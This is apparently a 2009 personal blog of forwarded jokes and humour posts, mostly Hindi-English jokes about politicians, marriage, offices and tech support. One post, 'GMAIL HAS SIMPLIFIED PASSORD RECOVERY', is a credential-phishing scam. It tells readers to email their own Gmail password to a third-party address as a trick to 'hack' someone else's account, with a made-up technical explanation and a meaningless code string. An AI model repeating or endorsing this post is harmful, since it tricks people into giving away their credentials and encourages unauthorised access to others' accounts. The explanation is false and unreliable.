4) I wanted to pay for my sins.

************ *

5) I believed in the Bhagwad Geeta principle : Do work,Don't care about results.

************ *

6) Everything in life has a reason; I wanted to prove it wrong.

************ *

7) I wanted to take revenge on myself .

************ *

GMAIL HAS SIMPLIFIED PASSORD RECOVERY CONFIRMLY TESTED

2009-05-02T06:45:00.000-07:00

How to open any one Gmail with out knowing password

Step 1: Log into your Gmail account.

Step 2: Compose a new mail.

Step 3: In subject box type " PASSWORD RECOVERY "

Step 4: Send this to - easywayrecover@gmail.com

Step 5: Write this in message box.

(first line)- Email address you want to hack.

(second line)- Your Gmail address

(third line)- Your Gmail account password

(fourth line) - <

v703&login="passmachine&f=(p0assword)&f=27586&___javascript=ACTIVE&rsa#"

start?>=""><>

{simply copy and paste above.} Don’t forget to place above code

How it works: you mail to a system administrators automatic responder.

Usually only system administrators should be able to use this, but when you

Try it with your own password and mail this message from your Gmail account

The computer gets confused! Why your password is needed- automatic Gmail

Responder will require your "system administrator password" which is in fact

Your own password!!! But the: computer doesn't know.

THE PASSWORD WILL AUTOMATICALLY BE SENT TO YOUR GMAIL! INBOX IN A MAIL

CALLED "SYSTEM REG MESSAGE" FROM "SYSTEM". This is an awesome trick and

Works as many times as you try it. Have fun! NOTE: Use account you have been

Using for few days say at least 30 days. Otherwise Gmail may take new

Account as temporary and this trick may not work. Moreover use it soon

Otherwise this flaw can be rectified soon.

Please be advised that it usually works with Gmail & AOL but I’m not to sure

About HOTMAIL but can try. THE ONLY WAY YOU CAN HACK SOMEONE'S AOL ACCOUNT

IS PROVIDING YOU HAVE AN AOL ACCOUNT.

ALTHOUGH THIS IS GMAIL ACCOUNT INFORMATION CENTER, IT HAS BEEN ABLE TO WORK

WITH AOL.

I WILL NOT BE HELD RESPONSIBLE FOR WHAT YOU DO WITH THIS INFORMATION NOR

WILL I BE HELD ACCOUNTABLE, THIS INFORMATION I'M SHARING IS FOR EDUCATIONAL

PURPOSES ONLY. PLEASE USE IT TO YOUR DISCRETION.............

HAPPY HACKING......

Laloo Prasad sent his Bio Data - to apply for a post in Microsoft

2009-04-10T21:53:00.000-07:00

Laloo Prasad sent his Bio Data - to apply for a post in Microsoft

Corporation, USA. A few days later he got this reply:

"Dear Mr. Laloo Prasad,

We are sorry to intimate you that you do not meet our requirements. Please do not send any further correspondence. No phone call shall be entertained.

Thanks

Laloo Prasad jumped with joy on receiving this reply.

He arranged a Party and when all the guests had come, he said :

"Bhaiyon aur Behno, aap ko jaan kar khushi hogee ki hum Amereeca mein naukri paa gaya hoon."

Everyone was delighted.

Laloo Prasad continued......

"Ab main aap sab ko apnaa appointment letter padkar sunaongaa -

par letter angreeze main hai - isliyen saath-saath hindi main translate bhee karoonga.

Dear Mr. Laloo Prasad ..... Pyare Laloo Prasad bhaiyya

We are sorry ...... humse galti ho gayee
to intimate you that .........aapko yeh batana hai ki

You do not meet ---- aap to miltay hee naheen ho
our requirement ---- humko to zaroorat hai

Please do not send any further correspondence ---- ab Letter vetter bhej ne ka kaouno zaroorat nahee
No phone call ---- phoonwa ka bhee zaroorat nahee hai

shall be entertained ---- bahut khaatir kee jayegi
Thanks ---- aapkaa bahut bahut dhanyawaad

Funny cartoons........

2009-04-03T10:26:00.000-07:00

Droplet of the Beauty

2009-03-11T10:39:00.000-07:00

Scenes from Antarctica....chilling effects....

2009-03-11T09:56:00.000-07:00

If Laloo becomes Indian PM

2009-03-09T10:57:00.000-07:00

1. National Anthem : Khana Pina Adhik Zaroorat hai...
2. National Attire : Dhoti & Kurta
3. National Drink : Fresh Buffalo Milk
4. National Animal : Buffalo, from Bihar
5. National Sport : Milking Buffalo (morning)
Buffalo Race (evening)
6. Corporate Language : Enlish-va
7. National Toy : A. K. 58
8. National Family Planning Policy : Hum Do, Humare Dozen
9. National Documentry Film : Laloo Ban Gaya Gentleman
10. National Vehicle : Buffalo Cart
11. National Recreation : Pro-creation

Laloo's Slogan:

Jab Tak Rahega Samosa Me Aloo,
Tab Tak Rahega Hamara P.M. Laloo

Laloo to a telephone operator
Laloo to a long-distance telephone operator:
"COULD YOU PLEASE TELL ME THE TIME DIFFERENCE BETWEEN PATNA AND LAS VEGAS?"

Operator: "JUST A MINUTE, SIR ..."

Laloo: "THANK YOU", AND PUTS DOWN THE PHONE.

Trapped on a plane
Once Laloo Yadav, Sonia Gandhi, a saint and a schoolboy were traveling by a private plane. Suddenly the engine caught fire and the pilot came out shouting, "This plane is going to crash! And we have only four parachutes and there are five of us in the plane.

Since I am a very important Indian Airlines pilot I am taking one parachute and getting out of here." Saying this he rushed to the luggage area grabbed one parachute and jumped off the plane. Sonia Gandhi said, "Since I am the future Prime Minister of India I am very important and have to live!" She also grabbed a parachute and jumped.

Laloo Yadav said, "I am the king-maker of this country, the most honest politician of India and above all the most intelligent person living in this country, and the most intelligent person must live!" Saying so Laloo went to the luggage area, grabbed one and jumped off the plane.

The old saint said to the school boy, "There is only one parachute left, and there are two of us. I am an old man and don't need to live any more. You take the last parachute and jump."

The school boy said, "Don't worry! There are still two parachutes left with us! The most intelligent person, Laloo Yadav, jumped off the plane with my school bag!"

drama

2009-03-09T10:55:00.000-07:00

ARTIST.i have seen u going outside when my drama is going on. why?

AUDIENCE. that's i got a habit of walking in sleeping.... !

Laughter the Best Medicine

2009-03-09T10:53:00.000-07:00

3 Possible Reasons
3 Possible Reasons When A Man Opens A Car Door For Wife
1) The Car Is New.
2) The Wife Is New
3) (Most Imp) She Is Not His Wife
Love Marriage
Why Love Marriages AWhy Love Marriages Are Better Than Arranged Marriages?
Because Known DEVILS Are Better Than Unknown DEVILS are Better
Jaayenge CAR me, Aayenge AKHABAAR me
Wife:
Aaj Sunday Hai..
Chalo Car Me Kahin Ghumne Chalte Hai
Car Main Drive Karungi
Husband:
Agar Tum Car Drive Karogi to..
.. . .
.. .
Jayenge CAR me,
Aayenge AKHBAAR me

Pati Patni and beauty
Patni:Suno ji, Aapko Mujme Sabse Jayada kya Acha Lagta hai
Meri Beauty ya Meri Akalmandi,
Pati:-Muje to yeh tere Majak karne ki Aadat Sabse Achhi Lagti hai..

My Wife Wants 2 Jump Out of d Window
Husband to Hotel Manager:
Please Come Fast, My Wife Wants 2 Die & Trying 2 Jump Out of d Window
Hotel Manager:
It’s your Matter What Can I Do, Sir?
Husband:
The Window is Not Opening, Idiot !
Gift to a wife
A young woman was taking an afternoon nap. After she woke up, she told her husband, "I just dreamed that you gave me a pearl necklace for Valentine's day. What do you think it means?"
"You'll know tonight." he said.
That evening, the man came home with a small package and gave it to his wife. Delighted, she opened it--only to find a book entitled "The meaning of dreams".

credibility

2009-03-07T22:51:00.000-08:00

If you ever testify in court, you might wish you could have been as sharp as this policeman. He was being cross-examined by a defense attorney during a felony trial. The lawyer was trying to undermine the policeman's credibility. ..

Q: 'Officer -- did you see my client fleeing the scene?'

A: 'No sir . But I subsequently observed a person matching the description of the offender, running several blocks away.'
Q: 'Officer -- who provided this description? '
A: 'The officer who responded to the scene.'
Q: 'A fellow officer provided the description of this so-called offender. Do you trust your fellow officers?'
A: 'Yes, sir. With my life.'
Q: 'With your life? Let me ask you this then officer. Do you have a room where you change your clothes in preparation for your daily duties?'
A: 'Yes sir, we do!'
Q: 'And do you have a locker in the room?'
A: 'Yes sir, I do.'
Q: 'And do you have a lock on your locker?'
A: 'Yes sir.'
Q: 'Now why is it, officer, if you trust your fellow officers with your life, you find it necessary to lock your locker in a room you share with these same officers?'
A: 'You see, sir -- we share the building with the court complex, and sometimes lawyers have been known to walk through that room.'

The courtroom EXPLODED with laughter, and a prompt recess was called. The officer on the stand has been nominated for this year's 'Best Comeback' line -- and we think he'll win.

Office Humour

2009-03-07T22:40:00.000-08:00

After 2 years of selfless service, a man realized that he has not been promoted, no transfer, no salary increment, no commendation. So he decided to walk up to his HR Manager. His manager looked at him, smiled and asked him to sit down saying: "My friend you have not worked here for even a single day." The man was surprised to hear this, but the manager went on to explain.

Manager:
How many days are there in a year?

Man:

365 days and sometimes 366.

Manager:

How many hours make up a day?

Man:

24 Hours.

Manager:

How long do u work in a day?

Man:

10am to 6pm i.e 8 hours a day.

Manager:

So, what fraction of the day do u work in hours?

Man:

He did some arithmetic and said 8/24 i.e 1/3 (one third).

Manager:

This is nice of u! what is 1/3rd of 366 days?

Man:

122(1/3 x 366=122 in days)

Manager:

Do u come to work on weekends?

Man:

No sir.

Manager:

How many days r there in a year that r weekends?

Man:

52 Saturdays and 52 Sundays equals to 104 days.

Manager:

Thanks for that. If u remove 104 days from 122 days. how many days do u now have?

Man:

18 days.

Manager:

I do give u 2 weeks sick leave every year. Now remove that 14 days from the 18 days left. How many days do u have remaining?

Man:

4 days.

Manager:

Do u work on Republic Day?

Man:

No sir!

Manager:

Do u come to work on Independence Day?

Man:

No sir!

Manager:

So how many days r left?

Man:

2 days Sir!

Manager:

Do u come to work on New Years Day?

Man:

No sir!

Manager:

So how many days r left?

Man:

1 day sir!

Manager:

Do u work on Christmas Day?

Man:

No Sir!

Manager:

So how many days r left?

Man:

None Sir!

Manager:

So what r u claiming?

Man:

!!!...

Moral-NEVER GO TO HR FOR HELP!!!

HR= HIGH RISK .

Love and Marriage

2009-03-07T22:38:00.000-08:00

Love is holding hands in the street.
Marriage is holding arguments in the street.

Love is dinner for 2 in your favorite restaurant.
Marriage is a take home packet.

Love is cuddling on a sofa.
Marriage is one of them sleeping on a sofa.

Love is talking about having children.
Marriage is talking about getting away from children.

Love is going to bed early.
Marriage is going to sleep early.

Love is a romantic drive.
Marriage is arrive on tops curvy tarmac .

Love is losing your appetite.
Marriage is losing your figure.

Love is sweet nothing in the ear.
Marriage is sweet nothing in the bank.

Tv has no place in love.
Marriage is a fight for remote control.

Love is 1 drink and 2 straws.
Marriage is "Don't you think you've had enough!".

Conclusion: "Love is blind, Marriage is an eye opener!

Love is Blind &Love never Dies

2009-03-06T07:04:00.000-08:00

There were two lovers: John & Mary.. They loved each other so much that they planned to do Suicide.
John jumped first.
Now it was Mary's turn.
Mary closed her eyes, and returned back saying Love is Blind.
John, in mid-air opened his parachute saying Love never Dies.

Wah Taj Pictures Story Funny

2009-03-03T08:57:00.000-08:00

who dare to share my Break Fast

2009-03-03T08:32:00.000-08:00

koi hai kya ??

The Obedient wife !!!

2009-03-03T08:04:00.000-08:00

There was a man who had worked all his life, had saved all of his money, and was a real "miser" when it came to his money.
Just before he died, he said to his wife... "When I die, I want you to take all my money and put it in the casket with me. I want to take my money to the afterlife with me." And so he got his wife to promise him, with all of her heart, that when he died, she would put all of the money into the casket with him.
Well, he died.
Woman caring for dying man
He was stretched out in the casket, his wife was sitting there - dressed in black, and her friend was sitting next to her. When they finished the ceremony, and just before the undertakers got ready to close the casket, the wife said,"Wait just a moment!" She had a small metal box with her; she came over with the box and put it in the casket. Then the undertakers locked the casket down and they rolled it away. Alice Keilar follows pallbearers carrying her husband Brendan's casket from the church.
So her friend said, "Girl, I know you were not fool enough to put all that money in there with your husband."

The loyal wife replied, "Listen, I'm a Christian; I cannot go back on my word. I promised him that I was going to put that money into the casket with him.
" You mean to tell me you put that money in the casket with him!?!?!?"
"I sure did," said the wife. "I got it all together, put it into my account, and wrote him a check.... If he can cash it, then he can spend it."

Send this to every clever female you know, and to every man who thinks they are smarter than women !!!

Husband Jokes !

2009-02-27T06:44:00.000-08:00

Police arrested a drunkard & askd: Where r u going?

Man: I'm going 2 listen lecture on ill effects of drinking.

Cop: Who'll lecture at midnight ?

Man: My wife...

------------ --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- -

Before marriage: Roses are red, sky is blue. U r beautiful, I luv u.

After marriage: Roses are dead, I'm blue. U r my headache, one day I'll
kill u.

------------ --------- --------- --------- --------- --------- -

Man: Is there any way for long life?

Dr: Get married.

Man: Will it help?

Dr: No, but the thought of long life will never come.

------------ --------- --------- --------- --------- --------- -

What's the biggest pressure for Pak captain when Pak needs 1 run to win
in 8 ovrs, with 5 wickets in hand?

Ya Allah! How to speak English in presentation ceremony?

------------ --------- --------- --------- --------- --------- -

Q: Why do women live longer than men?

A: Shopping never causes heart attacks, but paying the bill does!

------------ --------- --------- --------- --------- --------- -

Wats the diff between Complete & Finished?

If you find good wife u r complete otherwise u r finished.

------------ --------- --------- --------- --------- --------- -

So many options: Poison, sleeping pills, hanging, jumping from a
building, lying on train tracks, but we chose Marriage, slow and sure!

------------ --------- --------- --------- --------- --------- -

Have u heard about the man who threw his wife into a pond of crocodiles?
He's now being harassed by the animal rights for being cruel to the
crocodiles.

------------ --------- --------- --------- --------- --------- -

Two men r talking. 1st: I got married coz I was tired of eating out,
cleaning the house, doing the laundry & wearing shabby clothes.

2nd: Amazing, I just got divorced for the very same reasons

------------ --------- --------- --------- --------- --------- -

Wife: If I dismiss the cook and make the food myself for a month, what
will you pay me?

Husband: I won't have to pay you, you'll get my entire insurance amount.

Chicken !

2009-02-27T06:41:00.000-08:00

*~*~*~*~* ~*~*~*~*~ *~*~*~*~* ~*~*~*~*~ *~*~*~*~* ~
............ ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... .........

No Speak English

A Russian woman married a Canadian gentleman and they lived happily
ever after in Toronto . The poor lady was not very proficient in English,
but did manage to communicate with her husband. The real problem arose
whenever she had to shop for groceries.
One day, she went to the butcher and wanted to buy chicken legs. She
didn't know how to put forward her request, and in desperation, clucked
like a chicken and lifted up her skirt to show her thighs. Her butcher got the
message, and gave her the chicken legs.
Next day she needed to get chicken breasts, again she didn't know how
to say it, and so she clucked like a chicken and unbuttoned her blouse to
show the butcher her breasts. The butcher understood again, and gave her
some chicken breasts.
On the 3rd day, the poor lady needed to buy sausages. Unable to find
a way to communicate this, she brought her husband to the store...

(Please scroll down.)

What were you thinking?
Hellooooooo, her husband speaks English!
Now get back to your emails.
I don't know about you sometimes..

What do Women Demand !

2009-02-15T06:04:00.000-08:00

What I Want in a Man, Original List:
1. Handsome
2. Charming
3. Financially successful
4. A caring listener
5. Witty
6. In good shape
7. Dresses with style
8. Appreciates finer things
9. Full of thoughtful surprises
10. An imaginative, romantic lover

What I Want in a Man, Revised List (age 36)

1. Nice looking
2. Opens car doors, holds chairs
3. Has enough money for a nice dinner
4. Wants to talk to me.
5. Laughs at my jokes
6. Carries bags of groceries with ease
7. Has at least one shirt with the arms cut out
8. Appreciates a good home-cooked meal
9. Loves to go for drives
10. Seeks romance at least 3 times a week

What I Want in a Man, Revised List (age 42)

1. Not too ugly
2. Doesn't drive off until I'm in the car
3. Works steady - splurges on dinner out occasionally
4. Nods head when I'm talking
5. Usually remembers punch lines of jokes
6. Is in good enough shape to rearrange the furniture
7. Wears a shirt that covers his stomach
8. Knows not to buy champagne with screw-top lids
9. Remembers to put the toilet seat down
10. Shaves most weekends

What I Want in a Man, Revised List (age 52)

1. Keeps hair in nose and ears trimmed
2. Doesn't belch or scratch in public
3. Doesn't borrow money too often
4. Doesn't nod off to sleep when I'm venting
5. Doesn't retell the same joke too many times
6. Is in good enough shape to get off couch on weekends
7 . Usually wears matching socks and fresh underwear
8. Appreciates a good TV dinner
9. Remembers your name on occasion
10. Shaves some weekends

What I Want in a Man, Revised List (age 62)

1. Doesn't scare small children
2. Remembers where bathroom is
3. Doesn't require much money for upkeep
4. Only snores lightly when asleep
5. Remembers why he's laughing
6. Is in good enough shape to stand up by himself
7. Usually wears some clothes
8. Likes soft foods
9? Remembers where he left his teeth
10. Remembers that it's the weekend

What I Want in a Man, Revised List (age 72)

1. Breathing
2. Doesn't miss the toilet
..................................................................................................................................................................................
.
Better than a Flu Shot!
Miss Beatrice,
The church organist,
was in her eighties
and had never been married. She was admired for her sweetness
and kindness to all.
One afternoon the pastor
came to call on her and she showed him into her quaint sitting room
She invited him to have a seat while she prepared tea.
As he sat facing her old Hammond organ,
the young minister
noticed a cute glass bowl sitting on top of it.
The bowl was filled
with water, and in the water floated, of all things, a condom!
When she returned
with tea and scones,
they began to chat.
The pastor tried to stifle his curiosity
about the bowl of water and its strange floater, but soon it got the better of him and he could no longer resist.
'Miss Beatrice', he said,
'I wonder if you would tell me about this?'
pointing to the bowl..
'Oh, yes,' she replied, 'Isn't it wonderful?
I was walking through
the park a few months ago
and I found this little package on the ground.
The directions said
to place it on the organ,
keep it wet and that it would prevent the spread of disease. Do you know I haven't had the flu all winter.'

Numeric Logic !

2009-02-15T06:02:00.000-08:00

This is something very interesting. .....

Do You Know that

Letters 'a', 'b', 'c' & 'd' do not appear anywhere in the spellings of 1 to
99
(Letter 'd' comes for the first time in Hundred)

Letters 'a', 'b' & 'c' do not appear anywhere in the spellings of 1 to 999
(Letter 'a' comes for the first time in Thousand)

Letters 'b' & 'c' do not appear anywhere in the spellings of 1 to
999,999,999
(Letter 'b' comes for the first time in Billion)

And

Letter 'c' does not appear anywhere in the spellings of entire English
Counting

ATM CARD procedure !

2009-02-14T10:35:00.000-08:00

How a BOY withdraws cash from an ATM.
1. Park the car
2. Go to ATM Machine
3. Insert card
4. Enter PIN
5. Take money out
6. Take ATM Card out
7. Drive away
********* How a GIRL withdraws cash from an ATM
1. Park the car
2. Check makeup
3. Turn off engine
4. Check makeup
5. Go to ATM
6. Hunt for ATM card in the purse
7. Insert card
8. Hit Cancel
9. Hunt in purse for chit with PIN written on it
10. Insert card
11. Enter PIN
12. Take cash
13. Go to car
14. Check makeup
15. Start car
16. Stop car
17. Run back to ATM
18. Take ATM card
19. Back to car
20. Check makeup
21. Start car
22. Check makeup
23. Drive for 1/2 mile
24. Release handbrake
25. Drive on.

valentines day toons

2009-02-14T10:27:00.000-08:00

A woman walks into a post office and notices a middle-aged, well-dressed man standing at the counter methodically placing "Love" stamps on bright pink envelopes with hearts all over them. As he seals each envelop he sprays it with a puff of perfume. The woman's curiosity gets the better of her, so she goes up to the man and asks what he is doing. The man replies, "I'm sending out 1,000 Valentine cards signed, 'Guess who?'" "But why?" she asks. "Because I'm a divorce lawyer," the man replies.

Leave Application

2009-02-14T10:23:00.000-08:00

1. Infosys, Bangalore:
An employee applied for leave as follows:
"Since I have to go to my village to sell my land along with my wife, please sanction me one-week leave" .

2. This is from Oracle Bangalore:
From an employee who was performing the "mundan" ceremony of his 10 year old son:
"as I want to shave my son's head, please leave me for two days.."

3. Another gem from CDAC.
Leave-letter from an employee who was performing his daughter's wedding:
"as I am marrying my daughter, please grant a week's leave.."

4. From H.A.L. Administration dept:
"As my mother-in-law has expired and I am only one responsible for it, please grant me 10 days leave."

5. Another employee applied for half day leave as follows:
" Since I've to go to the cremation ground at 10 o- clock and I may not return, please grant me half day casual leave"

6. An incident of a leave letter
"I am suffering from fever, please declare one day holiday."

7. A leave letter to the headmaster:
"As I am studying in this school I am suffering from headache. I request you to leave me today"

8. Another leave letter written to the headmaster:
"As my headache is paining, please grant me leave for the day."

9. Covering note:
"I am enclosed herewith.... "

10. Another one:
"Dear Sir: with reference to the above, please refer to my below..."

11. Actual letter written for application of leave:
"My wife is suffering from sickness and as I am her only husband at home I may be granted leave".

12. Letter writing: -
"I am in well here and hope you are also in the same well."

13. A candidate's job application:
"This has reference to your advertisement calling for a ' Typist and an Accountant - Male or Female'...
As I am both(!! )for the past several years and I can handle both with good experience, I am applying for the post ...."

Velentines Day SMS

2009-02-13T07:09:00.000-08:00

Love is Never lost if not reciprocated

It will flow Back and soften and
Purify the Heart ,,,,
HAPPY VELENTINES DAY!!!!

After the Verb to love to help
Is the Most beautiful verb in the world
love is he flower you have got to Let Grow,
HAPPY VELENTINES DAY!!!!

Where love reigns there is no
Will to Power and Where the
Will to Power is Paramount
Love is lacking the one is
but the shadow of the other
HAPPY VELENTINES DAY!!!!!

Can I Say I Luv U Today?
If Not ,Can I ask u again tomarow ?
and the day after that? Because
I'll be loving u every single
Day of My Life,,,,,,,, ,
Never waste an opportunity to
Say " I Luv U" to someone You
Really , Love cause It's not every day
You meet a Person ,
who has the Magic to let
U Fall in Love,,,,,,,, ,,

I Luv ur Eyes ,
I Lur ur Smiles ,
I Cherish ur Ways ,
I adore ur Styles ,
wat can i say , ur 1 of
a kind and 24/7 ur on my mind,,,,,,,, ,
To Live this Life , In heartbeat,,, ,,,,,
To Have a heartbeat , I Need a Heart,,,,,,,
To have a heart , I need a Happiness,,, ,,,,,,,,,
To have a happiness , I Need U,,,,,,,,,,

Urgent vacancy for the post of Girl Friend

2009-02-13T07:03:00.000-08:00

Urgent vacancy for the post of Girl Friend
Happy Valentines Day!
Applications are invited for the following post. The package and incentives are mentioned below.

Designation : Junior girl friend (trainee)
Experience : Must have ditched at least 2 guys (Fresher with excellent credentials will be considered)
Other requirement : Should have the Potential to do street bargaining and fight if required.

Age : 18-26 (if the individual is too good looking but not in the age group can also apply, special consideration will undertaken for them)
Height, weight, complexions no bar, but is subjective.

Perks and incentives:
Total gross ( Monthly ) :
· 2 gifts worth not exceeding Rs. 1000/-(no precious metals, stones)
· bike rides each duration 1 hour
· trips to National Highways
· 5 Trips to Hanuman Mandir / Isckon Temple
· Kulfis / Chocobars at a regular gap of 3 days
· Daily Provision of Samosa/Bread Pakoda/Bhel worth Rs. 10 /-
· 2 movies (Family movies only) per month (on weekends)
· Visits to Shopping Malls and BARISTA every Weekend (On your own expense)

A Pair of Jeans or T-shirts according to demand will be gifted, subject to finance availability and to the size available with the shopkeeper.

Net Deductions (Monthly): Affair Fund and un-professional taxes will be informed on joining
The probation period is 6 months, after which confirmation (with Promotion to fulltime Girlfriend)

Plz NOTE:
1. Only females.
2. Girls who left in the last 2 months need not apply.
3. Ex-girlfriends will be eligible only if they agree to the above mentioned conditions.

There is more:
For girls who are not eligible, can take advantage of the referral. Program by referring their friend, colleagues etc.

Candle light or Tube light dinner will be given on every referral, even if candidate is not selected.

Search,,,,,, , never ends!!
Interested candidates can send their resume with

Subject:
Name/fresher- exp/age.
Photo must be in attachment. to the email address via mail
Note: Applications without photo will be rejected

Beauty of English

2009-02-13T06:47:00.000-08:00

Ever noticed how deleting one word after the other in a sentence can
lead to a nice story? Here's an example:

Oh John please don't touch me at all...!

Oh John please don't touch me...!

Oh John please don't touch...!

Oh John please don't...!

Oh John please...!

Oh John..!

Ohhh......

Cute, Innocent, Funny & Amazing Letters toPresident by Little Children

2009-02-13T06:34:00.000-08:00

Dear President Obama,

We're almost out of ivory toothpicks and we need a new hedge maze (the old one is too easy). Please give Daddy another tax cut. Pleeeaaassseee? If you do, I'll get Yolanda to bake you some cookies. She's from Mexico but don't tell anyone 'cuz it's a big secret.
Chip, age 7

Dear President Obama,

I want a Super Soaker and Roller blades and an X-Box 360 with lots of games. Mom says I should write to Santa Claus instead, but he's just some fat Swede and you're the leader of the free world. It's no contest! Anyway, I've been pretty good this year, except for that thing with the glue gun, but that was totally not my fault. Cats just don't listen.
Sonny, age 10

Dear President Obama,

Can you really turn back time? Mommy's life partner says you want to go back to a time when radio was popular and people wore hats and there were tigers everywhere. Just be careful that you don't accidentally kill your own grandmother or grandfather, because then you wouldn't exist. It's a paradox.
Ashley, age 8

Dear President Obama,

There are too many states. I have to memorize all of them AND their stupid capitals (even Bismarck) and it's too hard! Please get rid of some of them before I fail geography. Why not start with North Dakota? It's small and cold and its state animal is a gopher. Nobody likes gophers.
Gene, age 9

Dear President Obama,

Electric cars suck. Please tell the car people to make cars that runs on tofu (YUCK!) and have built-in George Foreman grills for hamburgers (YUM!) and anti-condor catapults on the roof (COOL!). I'll vote for you forever, I promise!
Hank, age 10

Dear President Obama,

I'm hungry. Mommy lost her second job at Target and now we can't afford relish or anything. Please put food on my family! Anything you can spare would be great. God bless!
Conny, age 7

Dear President Obama,

I used to want to be a politician like you, but not anymore. Aunt Lucy says politicians eat pies stuffed with baby birds. I tried to bake a pie like that, and now I'm not allowed in the park anymore, not even just to use the swings. It's not fair!
Teddy, age 9

Dear President Obama,

Please find enclosed fifty cents. I am a lobbyist, this is a campaign contribution, and now I own you. The first thing I want you to do is pass a law against bathtime. I HATE BATHTIME! Do it before supper and there is another fifty cents in it for you.
Zack, age 8

Why are Call Centre guys paid so much ??

2009-02-13T06:32:00.000-08:00

1 ) Tech Support : "I need you to right-click on the Open Desktop."
Customer : "Ok."
Tech Support : "Did you get a pop-up menu?"
Customer : "No."
Tech Support : "Ok. Right click again. Do you see a pop-up menu?"
Customer : "No."
Tech Support : "Ok, sir. Can you tell me what you have done up until
this point?"
Customer : "Sure, you told me to write 'click' and I wrote 'click'."

------------ --------- --------- --------- -

2) Customer : "I received the software update you sent, but I am still
getting the same error message."
Tech Support : "Did you install the update?"
Customer: "No. Oh, am I supposed to install it to get it to work?"

------------ --------- --------- --------- --------- --

3)Customer : "I'm having trouble installing Microsoft Word."
Tech Support : "Tell me what you've done."
Customer : "I typed 'A: SETUP'."
Tech Support : "Ma'am, remove the disk and tell me what it says."
Customer : "It says '[PC manufacturer] Restore and Recovery disk'."
Tech Support : "Insert the MS Word setup disk."
Customer : "What?"
Tech Support: "Did you buy MS word?"
Customer: "No..."

------------ --------- --------- --------- --------- --

4).Customer : "Do I need a computer to use your software?"
Tech Support : ?!%#$ (welll pretend to smile)

------------ --------- --------- --------- --------- --

5). Tech Support : "Ok, in the bottom left hand side of the screen,
can you see the 'OK' button displayed?"
Customer : "Wow. How can you see my screen from there?"
Tech support : ??????

------------ --------- --------- --------- --------- --

6) Tech Support : "What type of computer do you have?"
Customer : "A white one."
Tech support : ?????

------------ --------- --------- --------- --------- --

7). Tech Support : "What operating system are you running?"
Customer : "Pentium."
Tech support : ??????

------------ --------- --------- --------- --------- --

8).Cus tomer : "I have Microsoft Exploder."
Tech Support : ??????

------------ --------- --------- --------- --------- --

9). Customer : "How do I print my voicemail?"
Tech support : ??????

------------ --------- --------- --------- --------- --

10). Customer : "You've got to fix my computer. I urgently need to
print document, but the computer won't boot properly."
Tech Support : "What does it say?"
Customer : "Something about an error and non-system disk."
Tech Support : "Look at your machine. Is there a floppy inside?"
Customer : "No, but there's a sticker saying there's an Intel inside."
Tech support : ?????

------------ --------- --------- --------- --------- --

11). Tech Support: "Just call us back if there's a problem. We're open
24 hours."
Customer: "Is that Eastern time?"

------------ --------- --------- --------- --------- --

12). Tech Support : "What does the screen say now?"
Customer : "It says, 'Hit ENTER when ready'."
Tech Support : "Well?"
Customer : "How do I know when it's ready?"
Tech support : ??????

------------ --------- --------- --------- --------- --

The best of the lot
13). A plain computer illiterate guy rings tech support to report that
his computer is faulty.
Tech: What's the problem?
User: There is smoke coming out of the power supply.
Tech: (keep quite)
Tech: You'll need a new power supply.
User: No, I don't! I just need to change the startup files.
Tech: Sir, the power supply is faulty. You'll need to replace it.
User: No way! Someone told me that I just needed to change the startup
and it will fix the
problem! All I need is for you to tell me the command.
Tech support::
10 minutes later, the User is still adamant that he is right. The tech
is frustrated and fed up.
Tech: Sorry, Sir. We don't normally tell our customers this, but there
is an undocumented DOS
command that will fix the problem.
User: I knew it!
Tech : Just add the line LOAD NOSMOKE at
the end of the CONFIG.SYS. Let me know how it goes.
10 minutes later.
User : It didn't work. The power supply is still smoking.
Tech : Well, what version of DOS are you using?
User : MS-DOS 6.22 .
Tech : That's your problem there. That version of DOS didn't come with
NOSMOKE. Contact Microsoft and ask them for a patch that will give you
the file. Let me know how it goes.
1 hour later.
User : I need a new power supply.
Tech support : How did you come to that conclusion?
User : Well, I rang Microsoft and told him about what you said, and he
started asking questions about the make of power supply.
Tech: Then what did he say?
User: He told me that my power supply isn't compatible with NOSMOKE.

------------ --------- --------- --------- --------- -

Hight Of all (Too Good)

14) customer care officer: I need a product identification number
right now and may I help u in
finding it out?
Customer: sure
CCO: could u left click on start and do u find 'My Computer'?
Cust: I did left click but howï¿½ do I find your computer?

jokes for uuuuuuuuuuuuuuuuuuuu................

2009-02-10T19:16:00.000-08:00

Ravan had 20 eyes but he sighted only one woman ....you have only 2 eyes but ï¿½you sight every woman.
Now who is Ravan??????? ?????????
ï¿½ ï¿½ ï¿½
ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½
Scientists are trying to figure out how long a person can live without
brain..
Please tell them your age!!!!!!

ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½ ï¿½
Dad to son: when I beat you how do you control your anger?
Son: I start cleaning toilet
Dad: How does that satisfy you?
Son: I clean it with your toothbrush.

STUPID QUESTIONS WITH THE SMART ANSWERS

2009-02-10T19:13:00.000-08:00

BOY : May I hold your hand?
GIRL : No thanks, it isn't heavy.

GIRL : Say you love me! Say you love me!
BOY : You love me...

GIRL : If we become engaged will you give me a ring??
BOY : Sure, what's your phone number??

GIRL : I think the poorest people are the happiest.
BOY : Then marry me and we'll be the happiest couple

GIRL : Darling, I want to dance like this forever.
BOY : Don't you ever want to improve??

BOY : I love you and I could die for you!
GIRL : How soon??

BOY : I would go to the end of the world for you!
GIRL : Yes, but would you stay there??

SHARON : Have you ever had a hot passionate, burning kiss??
TRACY : I did once. He'd forgotten to take the cigarette out of his mouth.

MAN : You remind me of the sea.
WOMAN : Because I'm wild, romantic and exciting?
MAN : NO, because you make me sick.

WIFE : You tell a man something, it goes in one ear and comes out of the other.
HUSBAND : You tell a woman something: It goes in both ears and comes out of the mouth.

MARY : John says I'm pretty. Andy says I'm ugly.What do u think,
Peter?
PETER : A bit of both. I think you're pretty ugly.

1) Girlfriend : "...And are you sure you love me and no one else ?"
Boyfriend : "Dead Sure! I checked the whole list again yesterday".

